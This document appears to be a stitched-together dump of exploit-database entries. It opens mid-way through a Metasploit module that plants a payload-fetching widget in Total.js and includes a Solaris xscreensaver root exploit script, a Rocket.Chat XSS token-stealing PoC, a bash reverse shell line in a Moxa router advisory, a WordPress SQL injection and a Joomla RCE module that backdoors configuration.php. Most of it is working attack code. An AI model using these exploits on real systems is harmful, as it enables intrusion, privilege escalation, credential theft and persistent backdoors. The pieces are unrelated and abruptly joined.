def auth(user, pass)
json_body = { 'name' => user, 'password' => pass }.to_json
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'api', 'login', 'admin'),
'ctype' => 'application/json',
'data' => json_body
})
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
json_res = res.get_json_document
cookies = res.get_cookies
# If it's an array it could be an error, so we are specifically looking for a hash.
if json_res.kind_of?(Hash) && json_res['success']
token = AdminToken.new(cookies)
@admin_token = token
return token
end
fail_with(Failure::NoAccess, 'Invalid username or password')
end
def create_widget(admin_token)
platform = target.platform.names.first
host = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket::source_address : datastore['SRVHOST']
port = datastore['SRVPORT']
proto = datastore['SSL'] ? 'https' : 'http'
payload_name = "p_#{Rex::Text.rand_text_alpha(5)}"
url = "#{proto}://#{host}:#{port}#{get_resource}/#{payload_name}"
widget = Widget.new(platform, url, generate_cmdstager(
'Path' => "#{get_resource}/#{payload_name}",
'temp' => '/tmp',
'file' => payload_name
).join(';'))
json_body = {
'name' => widget.name,
'category' => widget.category,
'body' => widget.source_code
}.to_json
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'api', 'widgets'),
'cookie' => "__admin=#{admin_token.token}",
'ctype' => 'application/json',
'data' => json_body
})
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
res_json = res.get_json_document
if res_json.kind_of?(Hash) && res_json['success']
print_good("Widget created successfully")
else
fail_with(Failure::Unknown, 'No success message in body')
end
widget
end
def get_widget_item(admin_token, widget)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'api', 'widgets'),
'cookie' => "__admin=#{admin_token.token}",
'ctype' => 'application/json'
})
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
res_json = res.get_json_document
count = res_json['count']
items = res_json['items']
unless count
fail_with(Failure::Unknown, 'No count key found in body')
end
unless items
fail_with(Failure::Unknown, 'No items key found in body')
end
items.each do |item|
widget_name = item['name']
if widget_name.match(/p_/)
return item
end
end
[]
end
def clear_widget
admin_token = get_admin_token
widget = get_widget
print_status('Finding the payload from the widget list...')
item = get_widget_item(admin_token, widget)
json_body = {
'id' => item['id'],
'picture' => item['picture'],
'name' => item['name'],
'icon' => item['icon'],
'category' => item['category'],
'datecreated' => item['datecreated'],
'reference' => item['reference']
}.to_json
res = send_request_cgi({
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, 'admin', 'api', 'widgets'),
'cookie' => "__admin=#{admin_token.token}",
'ctype' => 'application/json',
'data' => json_body
})
unless res
fail_with(Failure::Unknown, 'Connection timed out')
end
res_json = res.get_json_document
if res_json.kind_of?(Hash) && res_json['success']
print_good("Widget cleared successfully")
else
fail_with(Failure::Unknown, 'No success message in body')
end
end
def on_request_uri(cli, req)
print_status("#{cli.peerhost} requesting: #{req.uri}")
if req.uri =~ /p_.+/
payload_exe = generate_payload_exe(code: payload.encoded)
print_status("Sending payload to #{cli.peerhost}")
send_response(cli, payload_exe, {'Content-Type' => 'application/octet-stream'})
return
end
send_not_found(cli)
end
def on_new_session(session)
clear_widget
end
# This is kind of for cleaning up the wiget, because we cannot pass it as an
# argument in on_new_session.
def get_widget
@widget
end
# This is also kind of for cleaning up widget, because we cannot pass it as an
# argument directly
def get_admin_token
@admin_token
end
def exploit
user = datastore['TOTALJSUSERNAME']
pass = datastore['TOTALJSPASSWORD']
print_status("Attempting to authenticate with #{user}:#{pass}")
admin_token = auth(user, pass)
fail_with(Failure::Unknown, 'No admin token found') if admin_token.blank?
print_good("Authenticatd as: #{user}:#{pass}")
print_status("Creating a widget...")
@widget = create_widget(admin_token)
super
end
end
@Mediaservice.net Security Advisory #2019-02 (last updated on 2019-10-16)
Title: Local privilege escalation on Solaris 11.x via xscreensaver
Application: Jamie Zawinski's xscreensaver 5.39 distributed with Solaris 11.4
Jamie Zawinski's xscreensaver 5.15 distributed with Solaris 11.3
Other versions starting from 5.06 are potentially affected
Platforms: Oracle Solaris 11.x (tested on 11.4 and 11.3)
Other platforms are potentially affected (see below)
Description: A local attacker can gain root privileges by exploiting a
design error vulnerability in the xscreensaver distributed with
Solaris
Author: Marco Ivaldi <marco.ivaldi@mediaservice.net>
Vendor Status: <secalert_us@oracle.com> notified on 2019-07-09
CVE Name: CVE-2019-3010
CVSS Vector: CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (Base Score: 8.8)
References: https://lab.mediaservice.net/advisory/2019-02-solaris-xscreensaver.txt
https://www.oracle.com/technetwork/security-advisory/cpuoct2019-5072832.html
https://www.jwz.org/xscreensaver/
https://www.oracle.com/technetwork/server-storage/solaris11/
https://www.mediaservice.net/
https://0xdeadbeef.info/
1. Abstract.
Exploitation of a design error vulnerability in xscreensaver, as distributed
with Solaris 11.x, allows local attackers to create (or append to) arbitrary
files on the system, by abusing the -log command line switch introduced in
version 5.06. This flaw can be leveraged to cause a denial of service condition
or to escalate privileges to root.
2. Example Attack Session.
raptor@stalker:~$ cat /etc/release
Oracle Solaris 11.4 X86
Copyright (c) 1983, 2018, Oracle and/or its affiliates. All rights reserved.
Assembled 16 August 2018
raptor@stalker:~$ uname -a
SunOS stalker 5.11 11.4.0.15.0 i86pc i386 i86pc
raptor@stalker:~$ id
uid=100(raptor) gid=10(staff)
raptor@stalker:~$ chmod +x raptor_xscreensaver
raptor@stalker:~$ ./raptor_xscreensaver
raptor_xscreensaver - Solaris 11.x LPE via xscreensaver
Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>
[...]
Oracle Corporation SunOS 5.11 11.4 Aug 2018
root@stalker:~# id
uid=0(root) gid=0(root)
3. Affected Platforms.
This vulnerability was confirmed on the following platforms:
* Oracle Solaris 11.x X86 [tested on 11.4 and 11.3, default installation]
* Oracle Solaris 11.x SPARC [untested]
Previous Oracle Solaris 11 versions might also be vulnerable.
Based on our analysis and on feedback kindly provided by Alan Coopersmith of
Oracle, we concluded that this is a Solaris-specific vulnerability, caused by
the fact that Oracle maintains a slightly different codebase from the upstream
one. Alan explained this as follows:
"The problem in question here appears to be inherited from the long-ago fork
[originally based on xscreensaver 4.05] Sun & Ximian did to add a gtk-based
unlock dialog with accessibility support to replace the non-accessible Xlib
unlock dialog that upstream provides, which moves the uid reset to after where
the log file opening was later added."
Specifically, the problem arises because of this bit of Solaris patches:
https://github.com/oracle/solaris-userland/blob/18c7129a50c0d736cbac04dcfbfa1502eab71e33/components/desktop/xscreensaver/patches/0005-gtk-lock.patch#L3749-L3770
As an interesting side note, it appears Red Hat dropped this code back in 2002
with version 4.05-5:
https://src.fedoraproject.org/rpms/xscreensaver/blob/9a0bab5a19b03db9671fc5a20714755445f19e21/f/xscreensaver.spec#L2178-2179
4. Fix.
Oracle has assigned the tracking# S1182608 and has released a fix for all
affected and supported versions of Solaris in their Critical Patch Update (CPU)
of October 2019.
As a temporary workaround, it is also possible to remove the setuid bit from
the xscreensaver executable as follows (note that this might prevent it from
working properly):
bash-3.2# chmod -s /usr/bin/xscreensaver
5. Proof of Concept.
An exploit for Oracle Solaris 11.x has been developed as a proof of concept. It
can be downloaded from:
https://github.com/0xdea/exploits/blob/master/solaris/raptor_xscreensaver
#!/bin/sh
#
# raptor_xscreensaver - Solaris 11.x LPE via xscreensaver
# Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# Exploitation of a design error vulnerability in xscreensaver, as
# distributed with Solaris 11.x, allows local attackers to create
# (or append to) arbitrary files on the system, by abusing the -log
# command line switch introduced in version 5.06. This flaw can be
# leveraged to cause a denial of service condition or to escalate
# privileges to root. This is a Solaris-specific vulnerability,
# caused by the fact that Oracle maintains a slightly different
# codebase from the upstream one (CVE-2019-3010).
#
# "I'd rather be lucky than good any day." -- J. R. "Bob" Dobbs
# "Good hackers force luck." -- ~A.
#
# This exploit targets the /usr/lib/secure/ directory in order
# to escalate privileges with the LD_PRELOAD technique. The
# implementation of other exploitation vectors, including those
# that do not require gcc to be present on the target system, is
# left as an exercise to fellow UNIX hackers;)
#
# Usage:
# raptor@stalker:~$ chmod +x raptor_xscreensaver
# raptor@stalker:~$ ./raptor_xscreensaver
# [...]
# Oracle Corporation SunOS 5.11 11.4 Aug 2018
# root@stalker:~# id
# uid=0(root) gid=0(root)
# root@stalker:~# rm /usr/lib/secure/64/getuid.so /tmp/getuid.*
#
# Vulnerable platforms:
# Oracle Solaris 11 X86 [tested on 11.4 and 11.3]
# Oracle Solaris 11 SPARC [untested]
#
echo "raptor_xscreensaver - Solaris 11.x LPE via xscreensaver"
echo "Copyright (c) 2019 Marco Ivaldi <raptor@0xdeadbeef.info>"
echo
# prepare the payload
echo "int getuid(){return 0;}" > /tmp/getuid.c
gcc -fPIC -Wall -g -O2 -shared -o /tmp/getuid.so /tmp/getuid.c -lc
if [ $? -ne 0 ]; then
echo "error: problem compiling the shared library, check your gcc"
exit 1
fi
# check the architecture
LOG=/usr/lib/secure/getuid.so
file /bin/su | grep 64-bit >/dev/null 2>&1
if [ $? -eq 0 ]; then
LOG=/usr/lib/secure/64/getuid.so
fi
# start our own xserver
# alternatively we can connect back to a valid xserver (e.g. xquartz)
/usr/bin/Xorg :1 &
# trigger the bug
umask 0
/usr/bin/xscreensaver -display :1 -log $LOG &
sleep 5
# clean up
pkill -n xscreensaver
pkill -n Xorg
# LD_PRELOAD-fu
cp /tmp/getuid.so $LOG
LD_PRELOAD=$LOG su -
We have observed the following access violation exception in the latest version of Adobe Acrobat Reader DC for Windows, when opening a malformed PDF file:
--- cut ---
(7f2c.8be8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000080 ebx=00001b52 ecx=00000080 edx=00000080 esi=00000001 edi=6f587000
eip=6a005324 esp=050fbc14 ebp=050fbc34 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202
JP2KLib!IJP2KException::GetErrString+0x3224:
6a005324 8817 mov byte ptr [edi],dl ds:002b:6f587000=??
0:000> kb
# ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00 050fbc34 6a0030e8 00001b52 00001b53 00000000 JP2KLib!IJP2KException::GetErrString+0x3224
01 050fbcb0 69ff3bf0 0000000a 000002ce 00000001 JP2KLib!IJP2KException::GetErrString+0xfe8
02 050fbd44 69ff4132 00000000 0000000d 00000008 JP2KLib!JP2KCopyRect+0xe9d0
03 050fbda0 69ff43f9 00000000 0000000d 00000008 JP2KLib!JP2KCopyRect+0xef12
04 050fbdc8 69ff37bc 00000000 0000000d 00000008 JP2KLib!JP2KCopyRect+0xf1d9
05 050fbe7c 69ff31eb 050fbf88 0000000d 00000008 JP2KLib!JP2KCopyRect+0xe59c
06 050fbebc 6a005d8a 0000000d 00000008 000000ff JP2KLib!JP2KCopyRect+0xdfcb
07 050fbf1c 5f721b53 62c74e88 0000000d 00000008 JP2KLib!JP2KImageDecodeImageRegion+0x2a
08 050fbf9c 5f71544b 6ad22fac 050fbfcc 5f115889 AcroRd32!AX_PDXlateToHostEx+0x343e93
09 050fbfa8 5f115889 6ad22fac 62c7cfb0 5f1157f0 AcroRd32!AX_PDXlateToHostEx+0x33778b
0a 050fbfcc 5f115783 6ad0efe0 00000001 0000001b AcroRd32!DllCanUnloadNow+0x4c929
0b 050fbfec 5f561d7a 050fc010 6ad0efe0 0000001b AcroRd32!DllCanUnloadNow+0x4c823
0c 050fc030 5f24afc8 c0020000 00000004 6ad0efe0 AcroRd32!AX_PDXlateToHostEx+0x1840ba
0d 050fc384 5f24a506 050fc3e0 53406a98 95e3efd6 AcroRd32!DllCanUnloadNow+0x182068
0e 050fc3bc 5f24a3e1 050fc3e0 53406a98 050fc44c AcroRd32!DllCanUnloadNow+0x1815a6
0f 050fc428 5f2493a8 c0020000 00000004 53406a98 AcroRd32!DllCanUnloadNow+0x181481
10 050fc888 5f2468f7 050fcb8c 686e45ac c0020000 AcroRd32!DllCanUnloadNow+0x180448
11 050fe068 5f246575 686e45ac c0020000 00000004 AcroRd32!DllCanUnloadNow+0x17d997
12 050fe138 5f22a25c 95e3ce72 5d91af78 00000000 AcroRd32!DllCanUnloadNow+0x17d615
13 050fe218 5f229057 00000001 00000000 00000000 AcroRd32!DllCanUnloadNow+0x1612fc
14 050fe264 5f21c183 5d91af78 00000001 00000000 AcroRd32!DllCanUnloadNow+0x1600f7
15 050fe3d8 5f21ba97 553e6dbc 00000001 6a169ef8 AcroRd32!DllCanUnloadNow+0x153223
16 050fe440 5f219281 95e3c8aa 5323efc8 5adccea8 AcroRd32!DllCanUnloadNow+0x152b37
17 050fe4c0 5f218dae 6a169ef8 65a08f40 5adcceb8 AcroRd32!DllCanUnloadNow+0x150321
18 050fe4fc 5f218d07 6a169ef8 65a08f40 5adcceb8 AcroRd32!DllCanUnloadNow+0x14fe4e
19 050fe584 5f2182ee 6a169ef8 65a08f40 050fe7b8 AcroRd32!DllCanUnloadNow+0x14fda7
1a 050fe5c0 5f216f02 6a169ef8 65a08f40 050fe7b8 AcroRd32!DllCanUnloadNow+0x14f38e
1b 050fe884 5f215d98 6a169ef8 050fe918 050fe968 AcroRd32!DllCanUnloadNow+0x14dfa2
1c 050fe988 5f2143b8 6a169ef8 050fea90 00000000 AcroRd32!DllCanUnloadNow+0x14ce38
1d 050fe9ec 5f21414d 6a169ef8 050fea90 00000000 AcroRd32!DllCanUnloadNow+0x14b458
1e 050fea0c 5f212d3c 6a169ef8 050fea90 00000000 AcroRd32!DllCanUnloadNow+0x14b1ed
1f 050feac4 5f212762 00000001 00000000 95e3c776 AcroRd32!DllCanUnloadNow+0x149ddc
20 050feb1c 5f21257a 7d8b4ef0 00000001 95e3c7ea AcroRd32!DllCanUnloadNow+0x149802
21 050feb80 5f2122ff 050fec74 95e3c0fe 80882fa0 AcroRd32!DllCanUnloadNow+0x14961a
22 050fec94 5f0d687c 80882fa0 5f0d67a0 00000000 AcroRd32!DllCanUnloadNow+0x14939f
23 050fecac 5f0d678f 0000000f 00000000 00000000 AcroRd32!DllCanUnloadNow+0xd91c
24 050fecc8 745de0bb 00180a60 0000000f 00000000 AcroRd32!DllCanUnloadNow+0xd82f
25 050fecf4 745e8849 5f0d66d0 00180a60 0000000f USER32!_InternalCallWinProc+0x2b
26 050fed18 745eb145 0000000f 00000000 00000000 USER32!InternalCallWinProc+0x20
27 050fede8 745d8503 5f0d66d0 00000000 0000000f USER32!UserCallWinProcCheckWow+0x1be
28 050fee50 745d8aa0 147683c0 00000000 0000000f USER32!DispatchClientMessage+0x1b3
29 050fee98 77371a6d 050feeb4 00000020 050fef14 USER32!__fnDWORD+0x50
2a 050feed0 745d91ee 050fef64 5a5cb65c 18836dd8 ntdll!KiUserCallbackDispatcher+0x4d
2b 050fef24 745d8c20 5f535978 050fef48 5f0eda6d USER32!DispatchMessageWorker+0x5be
2c 050fef30 5f0eda6d 050fef64 18836dd8 18836dd8 USER32!DispatchMessageW+0x10
2d 050fef48 5f0ed89e 050fef64 95e3c3d6 18836dd8 AcroRd32!DllCanUnloadNow+0x24b0d
2e 050fefbc 5f0ed744 95e3c39e 18836dd8 00000000 AcroRd32!DllCanUnloadNow+0x2493e
2f 050feff4 5f07c575 95e3dc0e 17484ff8 00000000 AcroRd32!DllCanUnloadNow+0x247e4
30 050ff064 5f07bf81 5f050000 00110000 17484ff8 AcroRd32!AcroWinMainSandbox+0x775
31 050ff484 0011783d 5f050000 00110000 17484ff8 AcroRd32!AcroWinMainSandbox+0x181
32 050ff850 002201aa 00110000 00000000 0bd5b3f2 AcroRd32_exe+0x783d
33 050ff89c 76698674 04f5f000 76698650 c83dc0c6 AcroRd32_exe!AcroRd32IsBrokerProcess+0x992da
34 050ff8b0 77365e17 04f5f000 07a6f6f5 00000000 KERNEL32!BaseThreadInitThunk+0x24
35 050ff8f8 77365de7 ffffffff 7738ad9e 00000000 ntdll!__RtlUserThreadStart+0x2f
36 050ff908 00000000 00111390 04f5f000 00000000 ntdll!_RtlUserThreadStart+0x1b
--- cut ---
Notes:
- Reproduces on Adobe Acrobat Reader DC (2019.012.20036) on Windows 10, with and without PageHeap enabled.
- The crash occurs immediately after opening the PDF document, and is caused by attempting to write data outside of a heap-based buffer.
- Attached samples: poc.pdf (crashing file), original.pdf (original file).
- We have minimized the difference between the original and mutated files down to 5 bytes inside of a binary JP2 image stream: 4 bytes at offset 0x195 changed from <FF FF E0 00> to <00 00 00 C0>, and 1 byte at offset 0x1ED changed from <0x53> to <0x5B>.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47528.zip
# Title: Rocket.Chat 2.1.0 - Cross-Site Scripting
# Author: 3H34N
# Date: 2019-10-22
# Product: Rocket.Chat
# Vendor: https://rocket.chat/
# Vulnerable Version(s): Rocket.Chat < 2.1.0
# CVE: CVE-2019-17220
# Special Thanks : Ali razmjoo, Mohammad Reza Espargham (@rezesp)
# PoC
# 1. Create l33t.php on a web server
<?php
$output = fopen("logs.txt", "a+") or die("WTF? o.O");
$leet = $_GET['leet']."\n\n";
fwrite($output, $leet);
fclose($output);
?>
# 2. Open a chat session
# 3. Send payload with your web server url

# 4. Token will be written in logs.txt when target seen your message.
During an engagement for a client, RandoriSec found 2 vulnerabilities on Moxa EDR-810 Series Secure Routers. The first one is a command injection vulnerability found on the CLI allowing an authenticated user to obtain root privileges. And the other one is an improper access control found on the web server allowing to retrieve log files.
As usual, we reported those issues directly to Moxa and ICS-CERT (Industrial Control Systems Cyber Emergency Response Team) in order to “responsible disclose†them.
The ICS-CERT advisory was published on their website and a new EDR-810 firmware was provided by Moxa.
Many thanks to Moxa and ICS-CERT teams for their help.
Advisory
The following two product vulnerabilities were identified in Moxa’s EDR-810 Series Secure Routers, all versions 5.1 and prior are vulnerable:
CVE-2019-10969: An exploitable command injection vulnerability exists in the CLI functionality, which is provided by the Telnet and SSH services. An authenticated attacker (with admin or configadmin privileges) can abuse the ping feature to execute commands on the router. As the CLI is executed with root privileges, it is possible to obtain a root shell on the device. A CVSS v3 base score of 7.2 has been calculated.
CVE-2019-10963: An unauthenticated attacker can retrieve all the log files (Firewall, IPSec and System) from the webserver. In order to exploit the issue, a legitimate user had to export the log files previously. A CVSS v3 base score of 4.3 has been calculated.
Exploitation
CVE-2019-10969 - Ping Command Injection
The Telnet and SSH services provide a Command Line Interface (CLI), which is a restricted shell allowing to perform a subset of actions on the device. The ping function of the CLI is vulnerable to command injection. It is possible to specify a specific hostname, such as ($/bin/bash), in order to obtain a shell as shown below:
Ping command injection
Due to limitations on the CLI, it is not possible to use the shell as is. The attacker can use a reverse shell as shown below:
bash -i >& /dev/tcp/YOUR_IP_ADDRESS/1234 0>&1
CVE-2019-10963 - Missing Access Control On Log Files
When a legitimate user (admin or configadmin for instance) export the logs files from the MOXA router. The files are stored at the root of the webserver, as follow:
http://IP_ADDRESS_MOXA/MOXA_All_LOG.tar.gz
An attacker can retrieve this archive without being authenticated on the Web interface as shown below:
# wget http://192.168.0.1/MOXA_All_LOG.tar.gz
--2019-02-13 17:35:19-- http://192.168.0.1/MOXA_All_LOG.tar.gz
Connexion à 192.168.0.1:80... connecté.
requête HTTP transmise, en attente de la réponse... 200 OK
Taille : 15724 (15K) [text/plain]
Sauvegarde en : " MOXA_All_LOG.tar.gz "
MOXA_All_LOG.tar.gz 100%[====================================================================================================================================>] 15,36K --.-KB/s ds 0s
2019-02-13 17:35:19 (152 MB/s) - " MOXA_All_LOG.tar.gz " sauvegardé [15724/15724]
# tar ztvf MOXA_All_LOG.tar.gz
drwxr-xr-x admin/root 0 2019-02-13 11:55 moxa_log_all/
-rw-r--r-- admin/root 326899 2019-02-13 11:55 moxa_log_all/MOXA_Firewall_LOG.ini
-rw-r--r-- admin/root 156 2019-02-13 11:55 moxa_log_all/MOXA_IPSec_LOG.ini
-rw-r--r-- admin/root 68465 2019-02-13 11:55 moxa_log_all/MOXA_LOG.ini
Mitigation
It is recommended to install at least the firmware version 5.3 from Moxa website.
Timeline
2019-02-24: Vendor Disclosure
2019-02-24: Advisory sent to ICS-CERT
2019-09-30: Advisory published by Moxa
2019-10-01: Advisory published by ICS-CERT
# Exploit Title: Wordpress Sliced Invoices 3.8.2 - 'post' SQL Injection
# Date: 2019-10-22
# Exploit Author: Lucian Ioan Nitescu
# Contact: https://twitter.com/LucianNitescu
# Webiste: https://nitesculucian.github.io
# Vendor Homepage: https://slicedinvoices.com/
# Software Link: https://wordpress.org/plugins/sliced-invoices/
# Version: 3.8.2
# Tested on: Ubuntu 18.04 / Wordpress 5.3
# 1. Description:
# Wordpress Sliced Invoices plugin with a version lower then 3.8.2 is affected
# by an Authenticated SQL Injection vulnerability.
# 2. Proof of Concept:
# Authenticated SQL Injection:
- Using an Wordpress user, access <your target> /wp-admin/admin.php?action=duplicate_quote_invoice&post=8%20and%20(select*from(select(sleep(20)))a)--%20
- The response will be returned after 20 seconds proving the successful exploitation of the vulnerability.
- Sqlmap can be used to further exploit the vulnerability.
# Exploit Title: Joomla! 3.4.6 - Remote Code Execution (Metasploit)
# Google Dork: N/A
# Date: 2019-10-02
# Exploit Author: Alessandro Groppo
# Vendor Homepage: https//www.joomla.it/
# Software Link: https://downloads.joomla.org/it/cms/joomla3/3-4-6
# Version: 3.0.0 --> 3.4.6
# Tested on: Linux
# CVE : N/A
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HTTP::Joomla
def initialize(info = {})
super(update_info(info,
'Name' => 'Rusty Joomla Unauthenticated Remote Code Execution',
'Description' => %q{
PHP Object Injection because of a downsize in the read/write process with the database leads to RCE.
The exploit will backdoor the configuration.php file in the root directory with en eval of a POST parameter.
That's because the exploit is more reliabale (doesn't rely on common disabled function).
For this reason, use it with caution and remember the house cleaning.
Btw, you can also edit this exploit and use whatever payload you want. just modify the exploit object with
get_payload('you_php_function','your_parameters'), e.g. get_payload('system','rm -rf /') and enjoy
},
'Author' =>
[
'Alessandro \'kiks\' Groppo @Hacktive Security',
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://blog.hacktivesecurity.com/index.php?controller=post&action=view&id_post=41'],
['URL', 'https://github.com/kiks7/rusty_joomla_rce']
],
'Privileged' => false,
'Platform' => 'PHP',
'Arch' => ARCH_PHP,
'Targets' => [['Joomla 3.0.0 - 3.4.6', {}]],
'DisclosureDate' => 'Oct 02 2019',
'DefaultTarget' => 0)
)
register_advanced_options(
[
OptBool.new('FORCE', [true, 'Force run even if check reports the service is safe.', false]),
])
end
def get_random_string(length=50)
source=("a".."z").to_a + ("A".."Z").to_a + (0..9).to_a
key=""
length.times{ key += source[rand(source.size)].to_s }
return key
end
def get_session_token
# Get session token from cookies
vprint_status('Getting Session Token')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
cook = res.headers['Set-Cookie'].split(';')[0]
vprint_status('Session cookie: ' + cook)
return cook
end
def get_csrf_token(sess_cookie)
vprint_status('Getting CSRF Token')
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path,'/index.php/component/users'),
'headers' => {
'Cookie' => sess_cookie,
}
})
html = res.get_html_document
input_field = html.at('//form').xpath('//input')[-1]
token = input_field.to_s.split(' ')[2]
token = token.gsub('name="','').gsub('"','')
if token then
vprint_status('CSRF Token: ' + token)
return token
end
print_error('Cannot get the CSRF Token ..')
end
def get_payload(function, payload)
# @function: The PHP Function
# @payload: The payload for the call
template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
# The http:// part is necessary in order to validate a condition in SimplePie::init and trigger the call_user_func with arbitrary values
payload = 'http://l4m3rz.l337/;' + payload
final = template.gsub('PAYLOAD',payload).gsub('LENGTH', payload.length.to_s).gsub('FUNC_NAME', function).gsub('FUNC_LEN', function.length.to_s)
return final
end
def get_payload_backdoor(param_name)
# return the backdoor payload
# or better, the payload that will inject and eval function in configuration.php (in the root)
# As said in other part of the code. we cannot create new .php file because we cannot use
# the ? character because of the check on URI schema
function = 'assert'
template = 's:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\\0\\0\\0a";O:17:"JSimplepieFactory":0:{}s:21:"\\0\\0\\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:FUNC_LEN:"FUNC_NAME";s:10:"javascript";i:9999;s:8:"feed_url";s:LENGTH:"PAYLOAD";}i:1;s:4:"init";}}s:13:"\\0\\0\\0connection";i:1;}'
# This payload will append an eval() at the end of the configuration file
payload = "file_put_contents('configuration.php','if(isset($_POST[\\'"+param_name+"\\'])) eval($_POST[\\'"+param_name+"\\']);', FILE_APPEND) || $a=\'http://wtf\';"
template['PAYLOAD'] = payload
template['LENGTH'] = payload.length.to_s
template['FUNC_NAME'] = function
template['FUNC_LEN'] = function.length.to_s
return template
end
def check_by_exploiting
# Check that is vulnerable by exploiting it and try to inject a printr('something')
# Get the Session anb CidSRF Tokens
sess_token = get_session_token()
csrf_token = get_csrf_token(sess_token)
print_status('Testing with a POC object payload')
username_payload = '\\0\\0\\0' * 9
password_payload = 'AAA";' # close the prev object
password_payload += get_payload('print_r','IAMSODAMNVULNERABLE') # actual payload
password_payload += 's:6:"return":s:102:' # close cleanly the object
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path,'/index.php/component/users'),
'method' => 'POST',
'headers' =>
{
'Cookie' => sess_token,
},
'vars_post' => {
'username' => username_payload,
'password' => password_payload,
'option' => 'com_users',
'task' => 'user.login',
csrf_token => '1',
}
})
# Redirect in order to retrieve the output
if res.redirection then
res_redirect = send_request_cgi({
'method' => 'GET',
'uri' => res.redirection.to_s,
'headers' =>{
'Cookie' => sess_token
}
})
if 'IAMSODAMNVULNERABLE'.in? res.to_s or 'IAMSODAMNVULNERABLE'.in? res_redirect.to_s then
return true
else
return false
end
end
end
def check
# Check if the target is UP and get the current version running by info leak
res = send_request_cgi({'uri' => normalize_uri(target_uri.path, '/administrator/manifests/files/joomla.xml')})
unless res
print_error("Connection timed out")
return Exploit::CheckCode::Unknown
end
# Parse XML to get the version
if res.code == 200 then
xml = res.get_xml_document
version = xml.at('version').text
print_status('Identified version ' + version)
if version <= '3.4.6' and version >= '3.0.0' then
if check_by_exploiting()
return Exploit::CheckCode::Vulnerable
else
if check_by_exploiting() then
# Try the POC 2 times.
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
else
return Exploit::CheckCode::Safe
end
else
print_error('Cannot retrieve XML file for the Joomla Version. Try the POC in order to confirm if it\'s vulnerable')
if check_by_exploiting() then
return Exploit::CheckCode::Vulnerable
else
if check_by_exploiting() then
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
end
end
def exploit
if check == Exploit::CheckCode::Safe && !datastore['FORCE']
print_error('Target is not vulnerable')
return
end
pwned = false
cmd_param_name = get_random_string(50)
sess_token = get_session_token()
csrf_token = get_csrf_token(sess_token)
# In order to avoid problems with disabled functions
# We are gonna append an eval() function at the end of the configuration.php file
# This will not cause any problem to Joomla and is a good way to execute then PHP directly
# cuz assert is toot annoying and with conditions that we have we cannot inject some characters
# So we will use 'assert' with file_put_contents to append the string. then create a reverse shell with this backdoor
# Oh i forgot, We cannot create a new file because we cannot use the '?' character in order to be interpreted by the web server.
# TODO: Add the PHP payload object to inject the backdoor inside the configuration.php file
# Use the implanted backdoor to receive a nice little reverse shell with a PHP payload
# Implant the backdoor
vprint_status('Cooking the exploit ..')
username_payload = '\\0\\0\\0' * 9
password_payload = 'AAA";' # close the prev object
password_payload += get_payload_backdoor(cmd_param_name) # actual payload
password_payload += 's:6:"return":s:102:' # close cleanly the object
print_status('Sending exploit ..')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path,'/index.php/component/users'),
'method' => 'POST',
'headers' => {
'Cookie' => sess_token
},
'vars_post' => {
'username' => username_payload,
'password' => password_payload,
'option' => 'com_users',
'task' => 'user.login',
csrf_token => '1'
}
})
print_status('Triggering the exploit ..')
if res.redirection then
res_redirect = send_request_cgi({
'method' => 'GET',
'uri' => res.redirection.to_s,
'headers' =>{
'Cookie' => sess_token
}
})
end
# Ping the backdoor see if everything is ok :/
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'configuration.php'),
'vars_post' => {
cmd_param_name => 'echo \'PWNED\';'
}
})
if res.to_s.include? 'PWNED' then
print_status('Target P0WN3D! eval your code at /configuration.php with ' + cmd_param_name + ' in a POST')
print_status('Now it\'s time to reverse shell')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path,'configuration.php'),
'vars_post' => {
cmd_param_name => payload.encoded
}
})
end
end
end